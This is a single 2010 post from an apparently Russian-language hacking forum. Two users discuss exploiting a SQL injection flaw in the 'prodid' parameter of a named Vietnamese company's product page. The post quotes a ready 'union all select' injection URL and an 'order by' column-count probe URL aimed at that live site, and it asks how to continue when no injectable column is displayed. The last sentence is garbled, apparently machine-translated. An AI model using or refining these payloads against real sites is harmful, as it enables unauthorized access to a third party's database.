Показать сообщение отдельно

  #7  
Старый 02.06.2010, 13:56
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441

Репутация: 0
По умолчанию

Цитата:
Сообщение от mr.celt  
И откуда ты взял во втором selectе 33 столбца? Для параметра prodid правильный запрос будет
Код:
http://www.hoanganjsc.com.vn/product.php?prodid=-90+union+all+select+1,2,3,4--+
'33' я получил от "order by"
http://www.hoanganjsc.com.vn/product.php?prodid=90%20order%20by%2034-- <-- Ошибка

мы можем придать таблице этого сайта, потому что сайт не показал какой-либо номер для инъекций?
 
Ответить с цитированием